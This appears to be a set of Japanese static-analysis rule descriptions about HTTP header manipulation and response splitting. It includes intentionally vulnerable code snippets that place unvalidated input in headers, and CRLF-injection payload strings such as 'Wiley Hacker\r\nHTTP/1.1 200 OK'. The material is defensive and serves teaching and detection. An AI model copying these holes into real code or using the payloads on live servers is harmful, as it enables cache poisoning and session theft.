「index.html」のような、標準的な英数字で構成されている文字列がリクエストで送信されたと仮定した場合、この cookie を含むHTTP レスポンスは次のようになります。


HTTP/1.1 200 OK
...
location: index.html
...


ただし、location の値は未検証のユーザー入力から形成されているので、レスポンスがこの形態を維持するのは、some_location として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「index.html\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。


HTTP/1.1 200 OK
...
location: index.html

HTTP/1.1 200 OK
...


2 番目のレスポンスは完全に攻撃者の支配下にあり、思うままのヘッダー内容やボディ内容で構成することができます。攻撃者は任意の HTTP レスポンスを構築できるため、クロスユーザー改竄、Web およびブラウザキャッシュポイズニング、Cross-Site Scripting およびページ乗っ取り攻撃などの様々な攻撃を許すことになります。

クロスユーザー改竄: 攻撃者は脆弱なサーバーに対して、2 つのレスポンスを作成させる単一のリクエストを行います。その 2 番目のレスポンスは、別のリクエスト、おそらくはサーバーとの TCP 接続を共有している別のユーザーが行ったリクエストに対する回答と誤って解釈される可能性があります。この攻撃は、攻撃者とユーザーがサーバー (共通のプロキシサーバーなど) との TCP 接続を共有している状況で、悪意あるリクエストをユーザー自身で、またはリモートから送信するよう誘導します。最も良心的な場合でも、攻撃者はこの能力を活用して、ユーザーにアプリケーションがハッキングされていると思わせ、アプリケーションのセキュリティに対する信頼を失わせる可能性があります。最悪の場合、攻撃者はアプリケーションの動作を模倣し、口座番号やパスワードなどの個人情報を攻撃者にリダイレクトするよう設計されたコンテンツを用意しています。

キャッシュポイズニング: 悪意により構成されたレスポンスが、多数のユーザーが使用する Web キャッシュ、または 1 人のユーザーのブラウザキャッシュに保存されると、被害が拡大することがあります。レスポンスが、一般にプロキシサーバーに見られるような共有 Web キャッシュに保存されると、キャッシュエントリが消去されるまで、そのキャッシュを使用するすべてのユーザーが、悪意あるコンテンツを継続して受け取ります。同様に、個別のユーザーのブラウザキャッシュにレスポンスが保存される場合も、キャッシュエントリが消去されるまでそのユーザーは悪意あるコンテンツを継続して受け取り、ローカルのブラウザインスタンスのユーザーが被害に遭うことになります。

Cross-Site Scripting: アプリケーションから送信されるレスポンスを支配下に置いた攻撃者は、悪意あるさまざまなコンテンツをユーザーに提供できます。Cross-Site Scripting は一般的な攻撃形態で、レスポンスに含まれる悪意ある JavaScript などのコードがユーザーのブラウザーで実行されます。XSS に基づく攻撃の種類はほぼ無限にあります。一般的には、cookie などの個人情報やその他のセッション情報を攻撃者に送信したり、攻撃者の制御下にある Web コンテンツに被害者をリダイレクトしたり、脆弱性のあるサイトを装ってユーザーのマシン上で悪意ある操作を実行したりします。これは脆弱なアプリケーションのユーザーに対する最も一般的で危険な攻撃手段で、JavaScript を使用してセッション情報や Authentication 情報を攻撃者に送信し、攻撃対象のアカウントを完全に支配下に置きます。

ページ乗っ取り攻撃: 脆弱なアプリケーションを使用して悪意あるコンテンツをユーザーに送信するほか、このルート脆弱性を利用して、サーバーによって生成されたユーザー向けの機密性が高いコンテンツを攻撃者にリダイレクトすることもあります。攻撃者は、サーバーからの意図どおりのレスポンスと、攻撃者によって生成されたレスポンスの 2 つのレスポンスを生成させるリクエストを送信することで、サーバーにより生成されたレスポンスをユーザーではなく攻撃者に送信するよう共有プロキシ サーバーなどの中間ノードを操作する可能性があります。攻撃者により作成されたリクエストが 2 つのレスポンスを生成するため、最初のレスポンスは攻撃者のリクエストへのレスポンスとして解釈されますが、2 番目のレスポンスには行き先がありません。ユーザーが同一の TCP 接続を通して正しいリクエストをすると、待機していた攻撃者のリクエストが本来のユーザーのリクエストに対するレスポンスと解釈されます。続いて攻撃者は第 2 のリクエストを送信します。プロキシサーバーは本来のユーザーのためにサーバーが生成したリクエストを使用してそれにレスポンスするため、このユーザー向けのレスポンスのヘッダーやボディに含まれる機密情報が漏洩します。

Cookie の不正操作: クロスサイト リクエスト フォージェリのような攻撃が同時に行われると、正規ユーザーの cookie が変更、追加、または上書きされる可能性があります。

オープンリダイレクト: 入力が検証されないため、リダイレクトで使用される URL が制御され、フィッシング攻撃に悪用される可能性があります。
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.php.header_manipulation
Abstract
未検証のデータを HTTP レスポンスヘッダーに含めると、キャッシュポイズニング、Cross-Site Scripting、クロスユーザー改竄、ページ乗っ取り攻撃、cookieの不正操作、またはオープンリダイレクトが発生する可能性があります。
Explanation
Header Manipulation の脆弱性が発生するのは次の場合です。

1. 信頼されていないソース (多くの場合、HTTP リクエスト) からデータが Web アプリケーションに入り込んだ場合。

2. Web ユーザーに送信される HTTP レスポンスヘッダーにデータが検証せずに含まれている場合。

多くのソフトウェアセキュリティの脆弱性と同様、Header Manipulation は目的を達成するための手段であって、目的そのものではありません。基本的には、この脆弱性は単純なものです。攻撃者は脆弱なアプリケーションに悪意あるデータを渡し、アプリケーションがそのデータを HTTP レスポンスヘッダーに含めます。

Header Manipulation 攻撃で一般的に発生する攻撃の 1 つは、HTTP Response Splitting です。HTTP Response Splitting の悪用が成功するためには、ヘッダーへの CR (キャリッジリターン、%0d または \r とも表記します) 文字や LF (ラインフィード、%0a または \n とも表記します) 文字を含む入力がアプリケーションで許容されている必要があります。これらの文字を利用して攻撃者は、アプリケーションが送信するレスポンスのヘッダーのそれ以降の部分とボディを制御できるだけでなく、追加のレスポンスを思うままに作成することが可能です。

最近のアプリケーションサーバーの多くは、HTTP ヘッダーへの悪意ある文字の挿入を防ぐようになっています。使用しているアプリケーションサーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。

例: 次のコード セグメントは、Web ログのエントリの作成者名 author を HTTP リクエストから読み取り、HTTP レスポンスの cookie ヘッダーにセットします。


...
-- Assume QUERY_STRING looks like AUTHOR_PARAM=Name
author := SUBSTR(OWA_UTIL.get_cgi_env('QUERY_STRING'), 14);
OWA_UTIL.mime_header('text/html', false);
OWA_COOKE.send('author', author);
OWA_UTIL.http_header_close;
...


「Jane Smith」のような、標準的な英数字で構成されている文字列がリクエストで送信されたと仮定した場合、この cookie を含むHTTP レスポンスは次のような形式になります。


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


ただし、cookie の値は未検証のユーザー入力から形成されているので、レスポンスがこの形態を維持するのは、AUTHOR_PARAM として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


2 番目のレスポンスは完全に攻撃者の支配下にあり、思うままのヘッダー内容やボディ内容で構成することができます。攻撃者は任意の HTTP レスポンスを構築できるため、クロスユーザー改竄、Web およびブラウザキャッシュポイズニング、Cross-Site Scripting およびページ乗っ取り攻撃などの様々な攻撃を許すことになります。

クロスユーザー改竄: 攻撃者は脆弱なサーバーに対して、2 つのレスポンスを作成させる単一のリクエストを行います。その 2 番目のレスポンスは、別のリクエスト、おそらくはサーバーとの TCP 接続を共有している別のユーザーが行ったリクエストに対する回答と誤って解釈される可能性があります。この攻撃は、攻撃者とユーザーがサーバー (共通のプロキシサーバーなど) との TCP 接続を共有している状況で、悪意あるリクエストをユーザー自身で、またはリモートから送信するよう誘導します。最も良心的な場合でも、攻撃者はこの能力を活用して、ユーザーにアプリケーションがハッキングされていると思わせ、アプリケーションのセキュリティに対する信頼を失わせる可能性があります。最悪の場合、攻撃者はアプリケーションの動作を模倣し、口座番号やパスワードなどの個人情報を攻撃者にリダイレクトするよう設計されたコンテンツを用意しています。

キャッシュ ポイズニング: 悪意により構成されたレスポンスが、複数のユーザーが使用する Web キャッシュ、または 1 人のユーザーのブラウザ キャッシュに保存されると、被害が拡大することがあります。レスポンスが、一般にプロキシサーバーに見られるような共有 Web キャッシュに保存されると、キャッシュエントリが消去されるまで、そのキャッシュを使用するすべてのユーザーが、悪意あるコンテンツを継続して受け取ります。同様に、個別のユーザーのブラウザキャッシュにレスポンスが保存される場合も、キャッシュエントリが消去されるまでそのユーザーは悪意あるコンテンツを継続して受け取り、ローカルのブラウザインスタンスのユーザーが被害に遭うことになります。

Cross-Site Scripting: アプリケーションから送信されるレスポンスを支配下に置いた攻撃者は、悪意あるさまざまなコンテンツをユーザーに提供できます。Cross-Site Scripting は一般的な攻撃形態で、レスポンスに含まれる悪意ある JavaScript などのコードがユーザーのブラウザーで実行されます。XSS に基づく攻撃の種類はほぼ無限にあります。一般的には、cookie などの個人情報やその他のセッション情報を攻撃者に送信したり、攻撃者の制御下にある Web コンテンツに被害者をリダイレクトしたり、脆弱性のあるサイトを装ってユーザーのマシン上で悪意ある操作を実行したりします。これは脆弱なアプリケーションのユーザーに対する最も一般的で危険な攻撃手段で、JavaScript を使用してセッション情報や Authentication 情報を攻撃者に送信し、攻撃対象のアカウントを完全に支配下に置きます。

ページ乗っ取り攻撃: 脆弱なアプリケーションを使用して悪意あるコンテンツをユーザーに送信するほか、このルート脆弱性を利用して、サーバーによって生成されたユーザー向けの機密性が高いコンテンツを攻撃者にリダイレクトすることもあります。攻撃者は、サーバーからの意図どおりのレスポンスと、攻撃者によって生成されたレスポンスの 2 つのレスポンスを生成させるリクエストを送信することで、サーバーにより生成されたレスポンスをユーザーではなく攻撃者に送信するよう共有プロキシ サーバーなどの中間ノードを操作する可能性があります。攻撃者により作成されたリクエストが 2 つのレスポンスを生成するため、最初のレスポンスは攻撃者のリクエストへのレスポンスとして解釈されますが、2 番目のレスポンスには行き先がありません。ユーザーが同一の TCP 接続を通して正しいリクエストをすると、待機していた攻撃者のリクエストが本来のユーザーのリクエストに対するレスポンスと解釈されます。続いて攻撃者は第 2 のリクエストを送信します。プロキシサーバーは本来のユーザーのためにサーバーが生成したリクエストを使用してそれにレスポンスするため、このユーザー向けのレスポンスのヘッダーやボディに含まれる機密情報が漏洩します。

Cookie の不正操作: クロスサイト リクエスト フォージェリのような攻撃が同時に行われると、正規ユーザーの cookie が変更、追加、または上書きされる可能性があります。

オープン リダイレクト: リダイレクトで使用される URL を未検証の入力で制御することができる場合、フィッシング攻撃に悪用される可能性があります。
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.sql.header_manipulation
Abstract
未検証のデータを HTTP レスポンスヘッダーに含めると、キャッシュポイズニング、Cross-Site Scripting、クロスユーザー改竄、ページ乗っ取り攻撃、cookieの不正操作、またはオープンリダイレクトが発生する可能性があります。
Explanation
Header Manipulation の脆弱性が発生するのは次の場合です。

1. 信頼されていないソース (多くの場合、HTTP リクエスト) からデータが Web アプリケーションに入り込んだ場合。

2. Web ユーザーに送信される HTTP レスポンスヘッダーにデータが検証せずに含まれている場合。

多くのソフトウェアセキュリティの脆弱性と同様、Header Manipulation は目的を達成するための手段であって、目的そのものではありません。基本的には、この脆弱性は単純なものです。攻撃者は脆弱なアプリケーションに悪意あるデータを渡し、アプリケーションがそのデータを HTTP レスポンスヘッダーに含めます。

Header Manipulation 攻撃で一般的に発生する攻撃の 1 つは、HTTP Response Splitting です。HTTP Response Splitting の悪用が成功するためには、ヘッダーへの CR (キャリッジリターン、%0d または \r とも表記します) 文字や LF (ラインフィード、%0a または \n とも表記します) 文字を含む入力がアプリケーションで許容されている必要があります。これらの文字を利用して攻撃者は、アプリケーションが送信するレスポンスのヘッダーのそれ以降の部分とボディを制御できるだけでなく、追加のレスポンスを思うままに作成することが可能です。

最近のアプリケーションサーバーの多くは、HTTP ヘッダーへの悪意ある文字の挿入を防ぐようになっています。使用しているアプリケーションサーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。

例: 次のコードセグメントは、location を HTTP リクエストから読み取り、HTTP レスポンスのヘッダーの location フ ィールドにセットします。


location = req.field('some_location')
...
response.addHeader("location",location)


「index.html」のような、標準的な英数字で構成されている文字列がリクエストで送信されたと仮定した場合、この cookie を含むHTTP レスポンスは次のようになります。


HTTP/1.1 200 OK
...
location: index.html
...


ただし、location の値は未検証のユーザー入力から形成されているので、レスポンスがこの形態を維持するのは、some_location として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「index.html\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。


HTTP/1.1 200 OK
...
location: index.html

HTTP/1.1 200 OK
...


2 番目のレスポンスは完全に攻撃者の支配下にあり、思うままのヘッダー内容やボディ内容で構成することができます。攻撃者は任意の HTTP レスポンスを構築できるため、クロスユーザー改竄、Web およびブラウザキャッシュポイズニング、Cross-Site Scripting およびページ乗っ取り攻撃などの様々な攻撃を許すことになります。

クロスユーザー改竄: 攻撃者は脆弱なサーバーに対して、2 つのレスポンスを作成させる単一のリクエストを行います。その 2 番目のレスポンスは、別のリクエスト、おそらくはサーバーとの TCP 接続を共有している別のユーザーが行ったリクエストに対する回答と誤って解釈される可能性があります。この攻撃は、攻撃者とユーザーがサーバー (共通のプロキシサーバーなど) との TCP 接続を共有している状況で、悪意あるリクエストをユーザー自身で、またはリモートから送信するよう誘導します。最も良心的な場合でも、攻撃者はこの能力を活用して、ユーザーにアプリケーションがハッキングされていると思わせ、アプリケーションのセキュリティに対する信頼を失わせる可能性があります。最悪の場合、攻撃者はアプリケーションの動作を模倣し、口座番号やパスワードなどの個人情報を攻撃者にリダイレクトするよう設計されたコンテンツを用意しています。

キャッシュポイズニング: 悪意により構成されたレスポンスが、多数のユーザーが使用する Web キャッシュ、または 1 人のユーザーのブラウザキャッシュに保存されると、被害が拡大することがあります。レスポンスが、一般にプロキシサーバーに見られるような共有 Web キャッシュに保存されると、キャッシュエントリが消去されるまで、そのキャッシュを使用するすべてのユーザーが、悪意あるコンテンツを継続して受け取ります。同様に、個別のユーザーのブラウザキャッシュにレスポンスが保存される場合も、キャッシュエントリが消去されるまでそのユーザーは悪意あるコンテンツを継続して受け取り、ローカルのブラウザインスタンスのユーザーが被害に遭うことになります。

Cross-Site Scripting: アプリケーションから送信されるレスポンスを支配下に置いた攻撃者は、悪意あるさまざまなコンテンツをユーザーに提供できます。Cross-Site Scripting は一般的な攻撃形態で、レスポンスに含まれる悪意ある JavaScript などのコードがユーザーのブラウザーで実行されます。XSS に基づく攻撃の種類はほぼ無限にあります。一般的には、cookie などの個人情報やその他のセッション情報を攻撃者に送信したり、攻撃者の制御下にある Web コンテンツに被害者をリダイレクトしたり、脆弱性のあるサイトを装ってユーザーのマシン上で悪意ある操作を実行したりします。これは脆弱なアプリケーションのユーザーに対する最も一般的で危険な攻撃手段で、JavaScript を使用してセッション情報や Authentication 情報を攻撃者に送信し、攻撃対象のアカウントを完全に支配下に置きます。

ページ乗っ取り攻撃: 脆弱なアプリケーションを使用して悪意あるコンテンツをユーザーに送信するほか、このルート脆弱性を利用して、サーバーによって生成されたユーザー向けの機密性が高いコンテンツを攻撃者にリダイレクトすることもあります。攻撃者は、サーバーからの意図どおりのレスポンスと、攻撃者によって生成されたレスポンスの 2 つのレスポンスを生成させるリクエストを送信することで、サーバーにより生成されたレスポンスをユーザーではなく攻撃者に送信するよう共有プロキシ サーバーなどの中間ノードを操作する可能性があります。攻撃者により作成されたリクエストが 2 つのレスポンスを生成するため、最初のレスポンスは攻撃者のリクエストへのレスポンスとして解釈されますが、2 番目のレスポンスには行き先がありません。ユーザーが同一の TCP 接続を通して正しいリクエストをすると、待機していた攻撃者のリクエストが本来のユーザーのリクエストに対するレスポンスと解釈されます。続いて攻撃者は第 2 のリクエストを送信します。プロキシサーバーは本来のユーザーのためにサーバーが生成したリクエストを使用してそれにレスポンスするため、このユーザー向けのレスポンスのヘッダーやボディに含まれる機密情報が漏洩します。

Cookie の不正操作: クロスサイト リクエスト フォージェリのような攻撃が同時に行われると、正規ユーザーの cookie が変更、追加、または上書きされる可能性があります。

オープンリダイレクト: 入力が検証されないため、リダイレクトで使用される URL が制御され、フィッシング攻撃に悪用される可能性があります。
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
